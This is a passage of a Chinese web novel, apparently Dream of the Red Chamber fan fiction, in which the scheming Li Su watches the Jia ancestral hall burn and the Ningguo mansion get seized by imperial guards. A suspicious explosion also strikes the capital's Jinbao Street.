贾政强忍着对这个院子的膈应,落座后,拿出了手中的一张约书,递给了李素。 看李素接了过去,他开口道:“素哥儿,你是人中龙凤,我这丫头自小在夫人和老太太身边教导,不曾短了书理,如今愿与你做妾,结同心之好,不知……” 李素把约书快速塞进了怀里,拉住了贾政的手道:“二叔,说的哪里话,我喜不自禁,以后咱们算是真正的亲戚了。” 贾政的心算是放下了一块大石头。 “那就好,那就好,不知何时你把她纳过门儿?” “等我的宅子收拾好了吧。” 贾政听到这话,犹豫了一下,想说元春的事儿,但是古板的他不喜欢这样好似交易一样的办事儿。 开口就变成了:“好,这好,你那宅子可是比这宁国府还大一些,要人操持的。” “二叔,咱们这实则与翁婿也没什么区别了,我有句话,不知该不该说?” 贾政一喜,以为李素要主动说元春的事儿了:“你说。” 李素左右看了看,把门关了起来,屋里就剩下了两人,他拉了把椅子坐在贾政身边,随后凑近了贾政低声道:“二叔,这宁国府里,珍大哥和蓉哥儿的身子,我看可能会有大问题。” “啊?大问题?” 贾政一时没明白过来。 “对,就是说很有可能天不假年啊。” “那…怎么?” 李素声音更低:“若是这样,宁国的爵位和府主、族长都要重新考虑人选了。” 贾政沉默了一下。 “素哥儿,你想说什么?” 李素把身子坐了回去:“二叔,宝兄弟生来不凡,但我听说他不喜读书,常把做官称为禄贼,这样就可惜了,以后想有个安稳的富贵都难。” 贾政忽然就明白了李素的意思,心里开始怦怦跳了起来。 多年的习惯,这种幽暗之事,让他没办法和这个不熟悉的假姑爷谈下去。 只好转移话题。 “素哥儿,以后宝玉还要你看顾一些,尤其在读书一事上,你尽可以打骂管教,我就先走了,你二婶的身子还不大好。” 说完他就站起了身子。 李素笑了,拱手道:“我送二叔。” 出了厢房,李素陪着贾政往外走,刚出院儿门,就见迎面一群人打着灯笼,抬着个小轿停了下来。 出来的正是王熙凤。 王熙凤看到贾政,心说这么巧。 “二嫂子,是来看珍大哥的么?” 李素笑着先开声了。 王熙凤听着他这不怀好意的话,先给贾政见了个礼,随后道:“休得瞎说,珍大哥跟我有什么瓜葛?我这当嫂子的奉老祖宗之命请你回去的。” 贾政知道怎么回事,也不差言,直接上了自己的轿子先回去了。 看着贾政的轿子消失在黑暗里,李素扭头对王熙凤道:“就只是奉了老祖宗的命?二嫂子自己呢?想不想我回去?” “你若不想明日里,府里传开咱们两个的腌臜事,尽管说。” 她指了指抬轿的小厮,引路的丫鬟、 “哈哈哈,我还真不怕,嫂子,我快回家了。” “回什么家?” “我自己的家,还有扬州的家,快过年了啊。” 他看着夜空,轻声的说着。 有些想扬州的人了。 王熙凤感到此时的李素看起来才让人舒服一些,于是调笑道:“我看你,未必回的去呢。” 万万没想到,这话一语成谶。 夜里,又出事儿了! 第109章 神京着了 夜里。 负责暖被窝工作的晴雯上完工,被留下当了暖宝宝。 香喷喷的大抱枕。 处子的清香让人沉醉,很快李素就睡了过去,睡了个素的。 与可卿那荤的不同,但却有着不同幸福。 睡的正香的李素,忽然惊醒,不是做梦,他来到这个世界后,睡的很沉醒的也很快,好似对危险事件有着特殊的敏感性。 可能要有事发生,他定了定神儿,让自己清醒了一下,随后拍了拍晴雯的小屁股。 晴雯蠕动了一下,迷迷瞪瞪的睁开了眼,伸手揉了揉道:“老爷~怎么了?可是要起夜?奴婢这就去点灯。” “不用,你伺候我更衣,细柳,细柳…”李素朝外间喊了起来。 只见外面细柳答应了一声,不多会儿,她披着棉袄,举着蜡烛进了里间:“老爷,可要点灯?” “点。” 随着屋里亮了起来,晴雯手脚麻利的开始给李素穿衣裳。这冬日里的衣裳,就是麻烦,到现在李素如果没有人服侍,还穿不那么利索。 如果是夏天他根本不会叫小丫头起来,自己大袍子一披就能利落的出门了。 三层又三层,收拾利落,最后又把那大红的皮裘套好。 “老爷是要出去?” “可能要出去,我觉得外面会有事发生。” 晴雯和细柳相互看了一眼,感觉好神奇。 把细柳和晴雯摁坐在炕沿儿上,李素拉了把椅子坐在对面。 捏了捏晴雯的翘鼻,笑道:“玄幻吧,哈哈,就像起点的玄幻频道一样,我的月票太少了,出去磕头求票。” “老爷说什么?要给皇帝磕头吗?这大半夜的,合适么?” 懵逼的晴雯一脸萌。 “比皇帝牛逼多了,白天他们不一定有功夫搭理你们老爷。” 正和晴雯和细柳扯淡的李素,忽然隐约听到了外面的呼喊声,心说:来了,真的是准! 李素站起身,摘下了自己的子午剑:“你们在屋里待着,柳儿给我一打盏灯笼。” 没过多久,一切便已准备就绪。 李素手提一盏灯笼,推开屋门,迈步而出。 然而,就在他踏出房门的那一瞬间,先是被刺骨的寒气给冲了一下,随即整个人突然愣住了。 这么亮,这是神京着了吗? 只见东侧宁国府方向,一抹火光升腾,仿佛要撕裂这漆黑的夜幕。而在西侧更为遥远之处的天际,似乎也隐隐约约地泛起了一片熊熊烈火,宛如火龙在空中舞动。 喧嚣吵闹的呼喊声与嘈杂声,由远及近地传来。 李素屏息凝神、侧耳细听,便能分辨出其中夹杂着有人惊恐万分地高声叫嚷道:“不好啦!走水啦! 在这寒冷且干燥无比的冬夜之中,近处凛冽刺骨的寒风不断的吹吼,李素的心也变冷,这样的天,这么大的火,得烧死多少人? “可卿!” 他忽然反应过来,随后就开始往宁国府跑。 这时候荣国府已经有人听到动静,各处的屋子里的灯火纷纷被点亮。 跑到大门口,李素打了个口哨,之前送完年礼被安排在前面候着的十余名护卫,很快向李素靠拢过来,没想到今天和尚也来了。 李素也不废话,对李无色急道:“跟我去宁国府,那边好像走水了。” 李无色招呼一声,护卫们打起了火把。 荣国府值夜的小厮跑了过来,给李素问安。 “开门!你顺便叫起府里的人,就说东府着火了,招呼人过去救火,我带人先走一步。”说完带着护卫就奔出了荣国府的小门,往宁国府而去。 砸开了宁国府的门,此时听得更清晰了。 府里面大喊着走水的声音,慌乱的奔跑呼喊声,甚至还有哭声。 李素看了一眼火光燃起的方向,心中稍微安了安,不是天香楼的方向,今夜里秦可卿应该还在天香楼住着。 但这大风天,又干燥,都是木头房子,就怕火势控制不住。 往天香楼的路上,李素抓了个小厮问道:“着火的是什么所在?” “啊?你是?” “你他妈别管我是谁,回话!” “宗祠!” “哦,无事了,快滚去救火!” 贾氏宗祠,跟自己没有毛关系,着就着了吧,心中大安的李素开始放慢了脚步,开始跟身边的李无色说起话来。 “你怎么来了?” “我不来,你就把我的事儿给忘了吧。” “怎么可能,我可是把 信都交给你妹妹,我嫂子了。” “真的?她……她说什么?” 李无色紧张的一把拉住了李素的胳膊,满眼期待的看着李素。 “她说啊,自己没有什么大哥,十年前就死了,还骂我是个骗子,白天我看到她两回都躲着我,你说你是不是个骗子?” “怎么可能?” 和尚有些不信,自己的大妹跟自己多亲啊。 “不信?真的躲了我两回了,你回头问问她,如果我没骗你,你叫我爹怎么样?” 李无色摇头:“不行!别以为我不知道你在想什么?” “我在想什么?” “还不是想让我大妹随着我叫你?” “你怎么知道?你这个和尚真特么脏!” “嘿,老子当年在秦淮河……” “宗祠着啦!” 李无色还没说完话,就听近处远处,响起了凄厉的嘶喊声! 宗祠! 跟李素没有毛关系,但对贾家来说,那是宗族的信仰,是贾家的命根子之一,马上到年节了又要开宗年祭的时候,着了! 那可是要亲命的事儿,是贾家神京八房共同的大事儿! 现代人无法理解宗祠之重,而此时的社会结构就是宗法制和帝制共同治理的组织,甚至宗法很多时候要超过国法。 国之大事,在祀与戎,几千年的根本,骨子里的观念没有过大的变化。 有人说中国人没有信仰,其实是有的,就是信仰祖宗。 朝廷都允许有祭田的存在,祭田就是专门用来祭祀祖宗用的田地,这部分田产即使是抄家,也不在查抄之列。 可见宗祀有多么重要! 这比贾珍这个族长死了都重要,整个宁国府就像开了锅一样,小厮仆役也像是被狗撵了似的往宗祠奔去。 李素也不跟和尚废话了,赶紧往天香楼走,先安住可卿的心,她安稳了,再看看能不能帮忙。 此时皇宫里。 西暖阁外围满了宿卫,长刀出鞘,弓箭上弦! 夏守忠跪在地上:“陛下,宫门全部落锁,所有班值宿卫都已经调动了起来,冯唐将军亲自巡视,另外神京九门紧闭的旨意已经传了出去,羽林卫正在往皇城靠拢。” 雍和帝听完,心中暗暗松了一口气。 “大明宫怎样?” 第110章 炸毛的皇帝和勋贵 “大明宫没有异动。” “嗯,要护卫好太上皇的安全,起火的原因查到没有,京中可有其他异动?” 飞鱼卫指挥使夏方跪下回话:“原因还没有查到,京中除了五城兵马司在动员灭火,其余各种并无异动。” “嗯。” 雍和帝面色缓了缓,只要是自然起火,没有人趁机作乱,或是有预谋的作乱,就不算什么大事。 接着夏方的嘴角抽动了一下,继续说道:“但起火处却查到了,是金宝街。” “金宝街?” 夏守忠不由得惊叫起来。 “是。” “那可是京中最大的商业坊市,怎么会?这这……死不了多少人,但财物损失可就大了,眼下马上要到年节……皇上,京中物价可能会出现大麻烦了。” 夏守忠兄弟媳妇带着侄女,借着他的势经商规模很大,里面也有他的股子,他可太清楚金宝街了,此时就是还不清楚自己的产业是不是也着了。 雍和帝面色又沉了下去,京中不能乱! “报!” 夏守忠听声音就知道是自己密谍司的人,此时可以进宫的只有密谍司吗,飞鱼卫都不行。 “直接说!” 雍和帝看着刚进来的密谍。 “是,起火原因已经查到,是北静王、南安郡王、东安郡王、修国公等十余家今日搭的祭棚起火,此时他们已经动了起来,另外宁国府也起火了。” 雍和帝心中咯噔一声,感觉自己的毛都炸起来了。 四王八公十二家都动了,也就意味着勋贵武勋齐动! 贾珍假死,勋戚路祭,金宝街大火是否是个大阴谋? 雍和帝厉声道:“传旨巡城龙禁卫,严管勋戚,不许有一人出府,违令者斩,强出府者族灭!” “传旨顺天府衙役全部出动,协助五城兵马司灭火,防止火势扩大。” 此时四王八公这些家也快疯了。 他们的毛也炸了起来! 棚子搭好了,为了宣势,选在了最热闹繁华的金宝街,谁知道自己家的老太君、夫人们跑了一趟,大晚上的回来说贾珍没死! 这事儿简直就没有天理,恨不得立马去把贾珍掐死,但不管怎么说都丢大人了,准备第二天一早,宵禁解除后悄咪咪的把棚子撤了。 可谁知道,夜里就起火了,金宝街起火跟他们没有毛关系,但是火是从他们棚子里起的,就是大麻烦了。 这也是买的香烛祭品太多了,又是易燃的物件儿,火势冲天。 金宝街这些商家的背后,多多少少都有一些官宦背景,这一把火烧下去,不说烧死多少人,但肯定会烧出一部分仇人! 如果火势扩大,再死一批人,自己家瞬间就会成为朝野的公敌。 往后可就是大麻烦。 于是各家的家主,分别组织了人手,开始准备出门去帮着五城兵马司灭火,但出门就被龙禁卫拦了。 宵禁! 他们知道宵禁,但此时太要命了,于是他们有的强闯,有的收买,有的以势压人纷纷出了府门,大骂着贾珍,就奔向了金宝街现场。 李素在天香楼安慰了秦可卿。 随后出了楼后,站在廊上视线越过两座国公府,目光投向了神京西侧的夜空。 只见远处的天际被熊熊烈火染成了一片橘红色,火光照亮了半边天空,仿佛要将整个黑夜都吞噬殆尽。 火势之猛烈超乎想象。 再将目光拉近到近处宗祠方向,只见原本汹涌蔓延的火势此刻已经被隔开了! 然而,尽管遏制住了火势的进一步扩散,但想要彻底扑灭这场熊熊燃烧的大火显然已是不可能。 火焰如同张牙舞爪的火龙,火光冲天,将四周映照得一片通红。 宗祠之外,影影绰绰地可以看到有上百名身影正忙碌地围绕着火场奔走。他们有的手持水桶,然后奋力朝着火海中泼,有的则扛着泥土袋子,往火里填。 去看看现场。 李素招呼了一声李无色,和一众护卫就下了天香楼。 不多时到了现场,只见贾赦、贾政带着荣国府的人也来了,现场乌泱泱三四百人,好像还有其他房里的族人。 仆役小厮们在忙活灭火,而贾赦他们却面目呆滞,更有人泪流满面大哭祖宗。 连李素来了,他们也没有注意到。 还有一人,看模样头发花白,身躯佝偻,不停的朝着宗祠磕头嚎啕大哭。 只见贾赦满脸怒容地大步向前走去,突然飞起一脚,用尽全身力气猛地踹向了他。人重重 地摔倒在了地上。 但是却没有发出任何惨叫声,反而再次爬起来,朝着大火中的宗祠磕头。 贾赦破口大骂起来:“焦大,你这个老不死的东西!这火究竟是怎么着起来的?是不是你这老糊涂蛋点着的?” 周围的人都阴沉着看着焦大,没有人给他求情。 焦大扭身朝着贾赦等人跪了下去,呜咽道:“赦大老爷,政老爷,是我焦大的错!但也不能全怪我啊,呜呜……” 贾政怒道:“那还有谁人?你说!” “你快说!”其他人纷纷怒喝了起来。 焦大擦了一把眼泪:“我焦大每日里都很小心烛火,只是不知今日谁放了一大堆香烛纸钱在宗祠里,平日里没有这些,我也就忘记了,谁知夜里风大不小心火头落在了纸钱上,风借火势一下子就燃起来了。” 啊? 听到这话,李素一缩脖子。 这他娘的还有自己的事儿? 这火烛纸钱,是他让王熙凤扔在宗祠里的。 为此,他还骗王熙凤答应他一遭事儿,债还没收呢。 这,从何说起? 李素看着前方的熊熊大火,不由得念叨:贾家的列祖列宗千万别怨我,怨就怨你们家娶的媳妇太好看了。 “谁好看?” 李素瞪了一眼身侧的和尚:“你的耳朵这么灵作甚?小心被下酒!” 李无色呵呵一笑:“怎么样,这国公府的姑娘们是不是很好看?” 李素点头。 “是好看,不光姑娘,还有嫂子。” 李无色不接这个话,知道他往下肯定要说自己的妹妹。 “这个焦大,会不会被扔到火里?” “什么?” 就听贾赦大吼一声:“把他扔火里,为列祖列宗赔罪!” 和尚叹息了一声:“素哥儿,这就是你说的乌鸦嘴吧?还是你跟这贾赦心有灵犀?不是好人啊!” “这人不该死。” “什么?” 李素不再理会李无色,走到了贾赦面前,手中子午剑一挥,指向了焦大:“赦大伯,这人不能这么死!” 第111章 抄家宁国府 “素,素哥儿?” 贾赦、贾政顿时一愣,看着拦在前方,用剑指着焦大的李素。 不太明白他为什么插手。 李素也搞不明白自己为什么出来,大约是在原著里这个大骂贾府肮脏的焦大,是个敢于直言的人,这种人不多了。 按道理,他要谋贾府,最忌讳的就是这种清醒人的存在,第一要清除的就是他,而应该团结贾赦这种人才对。 李素大骂了一句自己这该死的善良。 “是我!像这种丧尽天良的人,烧死他就太便宜他了,先宁荣二公不会这么简单就放过他,所以我有一个主意,请各位亲朋静听。” 持剑的李素,在烈火的映照下,异常的英武。 现场两三百人看着他,安静了下来。 “素哥儿,你说怎么办?” “赦大伯问的好!”随后他指着身后的大火,高声道:“大伙儿看看身后这祠堂!现在是没救了,但是还会有新的!只要贾家有一个会喘气儿的爷们儿在,那么这祠堂就能重新再盖起来,大家说对不对?” “对,对!” 贾家八房的族人,纷纷附和。 “所以,宗祠在不在,不重要,重要的是爷们儿在,爷们儿在宗祠就永远在。” “对,对!” 众人再次附和,觉得这话太提气了,就是这么回事儿,宗祠不过一堆瓦砾,爷们儿很快就能搭一个出来。 “既然要重建宗祠,那么就应该让这个大意烧了宗祠的人,就该为新的宗祠出力,赎罪!大伙儿说对不对?” “对,对,赎罪!” “赎罪!” “赎罪!” 紧接着便是山呼海啸般的回应,数百人的呼喊声汇聚成一股洪流,震耳欲聋。 整个场面变得无比悲壮而又激昂。 没有人知道,此时,守在宁国府外的龙禁卫听到了府内这齐声高呼声音,顿时紧张了起来、 领军之人面色瞬间煞白,对身侧急呼一声:“快去,上报,叫人!就说宁国府正在聚兵!” 然后他长刀一举,冲着宁国府紧闭的大门,高声道:“刀兵出鞘,弓箭上弦!” 身后的士兵们纷纷响应,一时间只听见一阵金属碰撞和弓弦绷紧的声音响成一片。 宁国府的门子,从门缝里瞧见了这情形,吓得魂飞魄散、肝胆俱裂。一边哭喊着,声音尖锐而凄厉,如同杀猪般刺耳,一边跌跌撞撞地朝着府内狂奔而去。 “抄家的来啦!” 此时宁国府大部分仆役都集中在了府后宗祠,前面就剩了些丫鬟婆子,净是些个胆小的妇人,哪里受的了这般消息。 随着门子往里跑,哭喊声也从外往里此起彼伏的响了起来。 得知宗祠被烧的贾珍,正在炕上骂娘,忽然就听到了府里的哭喊声,他呆住了,不由得出声问道。 “谁,谁死了?” 在一旁伺候他的尤氏也是茫然,还没等她回答,贾珍又自顾的说了起来。 “是蓉哥儿死了吗?不对,他就在西里间,死了也是我先知道。” “老爷,蓉哥儿没死,刚才还尿炕了。” “那这球囊的没死,那是谁?这么大动静?我父亲死了?……也不对,他没回来,还在修道呢……难道……西府里老太太死了?” 贾珍猛的坐了起来。 “啊?老太太?不会吧。” 尤氏有点儿不敢相信。 “你知道个屁,很有可能啊,你去,去西府看看……” 而就在这时,他终于听到了,抄家的哭喊声,也许是眼睛看不见,耳朵就变的异常的好使。 贾珍呆滞了,随后就瘫软了下去,脑子完全懵了,为什么抄家? 难道是之前参与的事儿都泄露了? 应该不是自己昨夜弄了宝玉和蓉哥儿的事儿,李素说自己用尸体羞辱朝廷,难道一语成谶? 政二叔给我泼脏水了? 不应该啊,他现在应该在宗祠救火呢。 贾珍的脑子乱成了一锅粥,不行,我不能死,我得跑! 这时,尤氏也听见了,抄家的哭喊,整个人也麻了,一屁股跌坐在了地上,恐惧的打着哆嗦。 抄家之声很快传到了后院儿。 很快整个宁国府都乱了起来,刚被放了的焦大却又哭又笑的嚎了起来:“呵呵……哈哈哈,我就说府里,就门口两个大狮子是干净的了……呜呜,果然来了啊…老天爷啊!” 李素一脚把他踹倒在地,大喝一声:“呔!都不要乱,抄个家算得了什么大事,人没事 儿比什么都强!” “素哥儿说的对,都安静,咱们去前面看看。” 贾政强自镇定下来维持场面秩序。 留下一部分人看着宗祠火势,剩余的全部跟着贾政往前走,李素则悄悄带着和尚等人回了天香楼。 宁国府抄不抄的,跟他没什么关系,只有秦可卿这里有关系,即使涉及到府里的女眷,以自己跟皇后的关系也应该能保下来。 本来,这就是个误会,只要宁国府的人不动,等到天亮误会解除就无事了,但是好死不死的,贾珍不知道抽了什么风,竟然要逃跑。 他逼着尤氏和几个小厮简单收拾了一下,就被架着往外走,贾蓉一看亲爹要跑,他也不落人后,死活要跟着跑。 于是一行人,就奔后门而走,刚打开大门就被刚来增援的龙禁卫给拿了个正着。 前门得到了后门儿的传信儿,随后就准备攻门,此时恰巧贾政等两三百人也到了前门,双方碰了个对头。 幸亏,贾政他们机灵,瞬间跪地,才避免了被屠杀。 但是这也把假抄家,变成了真抄家,不管宁国府有没有聚兵图谋不轨,都要先控制起来再说。 龙禁卫纷纷冲进了宁国府,控制了所有的人,一直到了天香楼,李素等人也没能幸免,他亮明身份后,被勒令呆在天香楼,不许出门。 而贾珍和贾蓉等人就比较惨,直接就被押走了。 直到龙禁卫控制了宁国府,宁国府聚兵的情况才传到了雍和帝耳朵里。 西暖阁,整夜未眠,也一直在听着外面不断汇聚来的信儿。 内阁的重臣也都来到了西暖阁。 已经两个时辰过去,雍和帝现在综合各方面的信息汇总,大概也明白过来了,这就是一个意外。 意外失火! 龙禁卫拿了不少四王八公出来灭火的人,更是砍了不少脑袋,经过询问基本也清楚了原因。 宁国府聚兵? 当朝首辅严崇皱眉看着皇上递过来的纸条儿:“陛下,这恐怕不实,那贾珍都快残疾了,聚兵作甚?” 雍和帝当然知道,这里面有问题,但怎么可能让他如此就脱身?说起来金宝街的祭棚还都是祭奠他的。 于是他开口道:“夏指挥使,此事交给你们飞鱼卫查证,仔细的查证。” 第112章 不是聚兵,是聚气 荣国府也被封了门。 两府一体,谁都知道。 贾母想死,真的。 白天的事儿,就差点儿没折腾死她,她一个觉没睡好,夜里宗祠烧了不说,宁国府还被抄了,呃……还没开始抄,但已经被龙禁卫给看了起来。 理由是是聚兵造反! 荣国府里的两个老爷,也都被关在了宁国府里。 这贾珍到底造的什么孽啊! 他也能造反? 一个成天琢磨自己儿媳妇的混账,都快成了残疾人,连自己的反都造不了。 此时龙禁卫也查明了情况,那震天的呼喊声根本就不是聚兵,是贾家的人在聚气呢。 这就有点儿尴尬了,可现在事儿都办了,只能一条道儿走到黑,就当他们造反,后面交给皇上处理。 龙禁卫恨的牙根儿痒痒,这大晚上的,聚什么气? 贾母坐在椅子上发愁,现在的她即使想穿上自己的诰命大妆,去大明宫找太上皇求情都做不到,龙禁卫不让出府。 “老祖宗,珍大哥应该做不出造反的大事,这里面兴许有什么误会也说不准,咱们就安心等信儿,首要的是安抚住府里的人心,咱们自个儿不要乱,总会真相大白的。” 探春看老太太的模样,于心不忍,出声开解。 贾母倒还真听进去了,她抬眼瞧着这个丫头,心中一叹,若是探丫头是个男儿身就好了,哪怕是个庶子,都能顶起半边天。 现在只能给那李素做妾,真是可惜了。 想起李素,她忽然开口道:“你们谁知道素哥儿在哪儿?可是还在睡觉?” 李纨听到这名字,又呆了一下,今晚她又看他的书了,又用头蒙了被子。 王熙凤接话:“老祖宗,我过来的时候,经过素哥儿的院子,见亮着灯就去瞧了一眼,他的丫鬟说早在东府起火的时候,就跑过去救火了,这会儿想必也被关在府里了。” 贾母点点头:“琏儿呢?他身子可见好了?” 王熙凤叹了一声:“还烧着,迷迷糊糊的。” 贾母心中难过,府里没有能用的爷们儿了,左右看了看。 “你们该歇着歇着去吧,别在我这里耗着了,我寻思等天亮了,也肃静不了,府里还要你们安抚着。” “可大老爷,怎么办?”邢夫人急道。 “你个遭瘟的!没听见话吗?”贾母不知怎么,忽然就火了,拐杖狠狠地一顿,盯着自己这个愚蠢的大儿媳妇。 邢夫人吓得一哆嗦,就想解释。 贾母接着继续骂道:“不许多嘴,再犯口舌,到院子里给我站着去!” 这时候,天香楼里。 前厅,李无色笑的前仰后合,直打跌。 龙禁卫的头头儿季宗礼,也是一脸便秘。 李无色手指哆哆嗦嗦的指着李素:“……素哥儿,哎呦我的娘啊,就你那嘴……嘚瑟了几句,就把宁国府…弄,弄成造反了……哈哈哈。” 李素摸了摸鼻子,讪笑道:“这谁能想到?我也没想过给宁国府安这么大罪名啊?” “你原本想给宁国府安什么罪名?” 季宗礼也看着李素,一脸的疑问,这还有什么阴谋不成? 李素摆摆手:“原本我就想着把那焦大给救了,可是谁知道我就是顺便痛快一下嘴,一秃噜就把贾家爷们儿的精气神儿给调动了起来。” 接着他朝着季宗礼一摊手:“只能说这是天意,宁国府活该有这一劫啊!” 季宗礼苦笑:“这天意可把我给坑了,情况不明就把国公府给拿下,以后我这日子可就不好过喽。” “季将军奉的皇命,怕什么?” 季宗礼叹了一句:“我知李花园是陛下的腹心,就跟您多说几句,您刚来神京,恐怕不太清楚这国公府的厉害。” 李素立刻坐正了身子,他还真不是很了解哪里厉害,这两天贾府就被自己折腾的快没了半条命,怎么就厉害了? “请季将军指教。” 季宗礼点头:“朝里所谓四王八公就是开国起的十二家武勋世家,且不说他们是朝野中已经是被神圣的世家,先是军中不知道有多少枝枝脉脉的将军,跟他们都有着香火情分。” 李素听明白了,他原来就是从军的,上升的通道就把握在最顶级的将军手中,没有提携,即使有军功也好不到哪去,明升实降的事儿可太多了。 对于军人来说上级对自己的提拔,就是再造之恩。 被套上一层滤镜的那些开国元帅家族,即使在那信息如此发达的时代,都存在被神话的现象。 季宗礼继续说道。 “其次是官员,这些武勋世家贵族,在这百年里不断的合纵连横,人脉关系走的错综复杂,你不知道哪个官背后就有着勋贵的关系,有着他们十几二十年就开始的布局帮扶。” 李素再次点头,也终于明白了贾政,一个不入流的工部小官,是如何使贾雨村坐上重镇知府的原因。 一想就可知这背后藏着多大的人脉关系,甚至能逆着皇帝的意,推王子腾到京营大帅的高度,确实细思极恐。 “最后就是农商市井,您试着想想,这样的家族十二家相互间都有亲,所以搞不好我们家里,明天就买不到米了,你信不信?” “信!他们的阴影这是笼罩了神京半边天。” 李素感慨了一下。 他又开始感慨,贾府的爷们儿得是多蠢,祖宗留下了这么大的福泽,被他们要么滥用,要么不用,根本就没能继承下来。 另外,自己应该是老鼠进了米缸,在里面折腾,再一个里面也确实烂,才弄的快散架了似的。 想到这,他越发觉得贾蓉娶秦可卿有猫腻了,严重不对等! 还有,贾府好像被阉割了似的,非常不对劲,比如贾珍的原配是谁,哪家的?贾赦的原配又是哪家的? 这两个承爵人的原配应该很不简单。 “季将军,贾珍和贾蓉的审讯,是谁在做?” “他们接下来会交给飞鱼卫,毕竟听到龙禁卫围府后逃窜,这里面不得不让人怀疑有事儿,所以按理会交到飞鱼卫手里。” “你们就不想知道?审出来还不是大功一件?” 季宗礼道:“我的爵爷,我们龙禁卫干的是粗活儿,那些太麻烦的事儿,我们做不来,也不想沾,搞不好就要命,还是知道的少一点儿更好。” 李素点点头,忽然盯着他道:“季将军,你跟我说这么多,想必不只是因为我是皇上的人吧?更不是因为我的爵位,我这个子爵在神京可不少。” “哈哈哈,李爵爷看出来了?” “方便说说吗?” 季宗礼平复下来,缓缓道:“您救了四王爷的命,四王爷以前救过我的命,所以您也算救了我一命。” 滇王! 那个神经病! 第113章 爆炸!爆炸! 李元亨也会救人? 李素琢磨着李元亨,琢磨着季宗礼说这些话的意思。 “行了,李爵爷歇着吧,等天亮估摸着事儿就过去了。” 季宗礼站起了身子。 一旁的李素见状,也跟着站起身来,准备送一送。 然而,还没等他起身,突然间,一阵震耳欲聋、犹如天崩地裂般的巨响从遥远的地方传了过来! 三人被这突如其来的巨响吓了一大跳,瞬间全都呆立在了原地,脸上满是惊愕。 “娘唉,什么地方爆炸了吗?” 李无色嘟囔了一句。 爆炸! 金宝街? 季宗礼脑子里闪过一个念头。 李素脑子里也划过一个念头:被人劫走的假银子? 季宗礼推门就往外急走,李素一把拉住他:“季将军,我跟你去,皇上那里我回头自己去解释!” 季宗礼面色凝重,看了看李素:“好!” “和尚,带上人,跟我走!” 如果说火光叫醒了部分神京人,这一声巨响则叫醒了所有的神京人,距离近的人更是感到地动山摇,以为是地龙翻身了。 太极宫,气氛本来已经缓和下来的西暖阁,雍和帝正在和严崇就年节前的物价问题进行商讨,这一声巨响,就犹如一记重锤砸在了皇帝和内阁大臣的脑袋上。 火药! 豁然起身的雍和帝看向了夏守忠和夏方。 这二人也同样,一头雾水,不清楚这巨响是怎么回事? “陛下,这声响的方向,似是从金宝街方向传过来的。” 夏方回话。 只见雍和帝面色铁青,猛地一把抓起手边的砚台,砸了过去。 只听“砰”的一声。 刹那间,夏方觉得自己的脑袋仿佛要炸开了一样,一阵剧痛袭来,让他眼前一黑,差点昏厥过去。紧接着鲜血如泉涌般从伤口处流淌而下,染红了他的半边脸。 雍和帝死死地盯着夏方,怒吼道:“你告诉朕!金宝街为何会出现火药?火器局在金宝街可有设立衙门?” 面对皇帝的质问,夏方心中惶恐不已。火药可是在飞鱼卫的监察之列。而作为负责监察天下的飞鱼卫指挥使,他难辞其咎。 夏方顾不得头上的鲜血,不停的磕头:“陛下息怒,臣死罪!臣死罪!臣死罪!” “臣有罪!” 兵部尚书耿芳,面色苍白的跪了下去,火器局是他兵部的职司,火药是他兵部的管控物资,如今出了这等事儿,他也跑不了。 随着耿芳跪下请罪,首辅严崇及六部其余尚书全部跪了去,纷纷请罪。 雍和帝没看他们,继续盯着夏方道:“带着你那粪勺子,给朕查清楚,滚!” 夏方再次狠狠地磕了一个头,转身就往殿外走,他面目狰狞,这次真的发了狠,他心里明白,如果查不出来,他必死! 火药,是国之重器,北边的辽东前线,顶着建奴的进攻,大部分靠的就是火炮的威力。 如今出了纰漏,谁也兜不住这责任! 而此时远在辽东,安远卫。 忽然一声冲天巨响,接着就是火光冲天,只见就陷入了大火之中,随后卫所里响起了凄厉的惨叫声。 正在不远处山坳里,接令盯梢卫所的飞鱼卫,也被这一声巨响惊醒了。 半天才缓过神来的两个飞鱼卫,打着了火折子,对视了一眼,都感觉到了对方眼中的惊喜。 “没想到,老子被派到这鸟不拉屎安远卫,刚到就立功了?” “放信鸽儿!” 李素领着和尚以及护卫,跟随着龙禁卫,一路疾行来到了金宝街。 然而,当抵达目的地时,眼前所见的景象让所有人都不禁瞠目结舌,呆立当场。 谁能够想象? 绵延十里的长街大火是什么景象? 熊熊烈火之中,火势汹涌澎湃,仿佛要将整个天空都吞噬殆尽。浓烟滚滚升腾而起,如同一头张牙舞爪的黑色巨兽,向着四面八方肆意蔓延开来。 街头巷尾到处都是惊慌失措、四处奔逃的人群,呼喊声、哭叫声交织在一起。 街边的商铺燃起大火,开始扑向民宅,噼里啪啦的燃烧声响彻云霄,火星四溅如同烟花般绚烂夺目,无尽的毁灭与绝望。 好在五城兵马司上万人,已经把人和火隔离开,正在做阻断火势蔓延的事儿。 李素心中五味杂陈,说起来这火也有他的一份儿,要不是自己抢了秦可卿,贾珍就不会出事儿,也就没有十里祭贾珍的事儿。 所以说,女人是祸水,出手要趁早! 秦可卿如果没嫁的时候就被自己坑到手,就不会有这么多事儿了。 他按下了自己的胡思乱想。 跟着季宗礼往街西侧奔去,刚才季宗礼已经问明了情形,爆炸在街西头! 捂着口鼻一路到了西头,李素看着前方一个巨大的深坑,四周有火苗还在乱窜,但不是太大了,周边的易燃物已经烧的差不多了,他心中不由得怀疑起来,这应该不是自己埋伏的炸药。 量小,炸不出这么大威力! 自己在银子箱里埋了更多的火油,如果是自己的,那么现在坑不会那么大,火势应该非常大才对。 他看了看四周的环境,幸好这是在街道的尾部,与旁边的房舍都有很大的距离,看起来这爆炸造成的伤亡很有限。 远不如贾珍的祭棚造成的破坏。 但是在朝廷看来,这没产生多大伤亡的爆炸,却比贾珍的祭棚带来的破坏更加重要,事儿更大,更危险。 此事,导致了终年不出大明宫的太上皇,来到了太极宫,来到了西暖阁。 雍和帝跪下行礼后,面沉似水的扶着老皇帝坐了下来。 这一瞬间,雍和帝感到自己好像又回到了那个做王爷的时候,又回到了刚刚登基,被太上皇听政的时候。 这让他极为不适。 老皇帝摆了摆手,跪地的六部阁臣纷纷起身谢礼。 雍和帝看了一眼夏守忠,夏守忠跪在了中央,开始叙说起今夜发生的大事儿,但没说龙禁卫封门勋贵的事儿。 “这么说,是贾珍的祭棚引出了藏在背后黑手?” 雍和帝点头:“是的,父皇。” “这王八孙子!” 老皇帝笑骂了一句,就起了身子,随后就往外走,就这么走了! 来后一共说了两句话,就这么走了! 雍和帝心里转了十八个弯儿。 李素不走了。 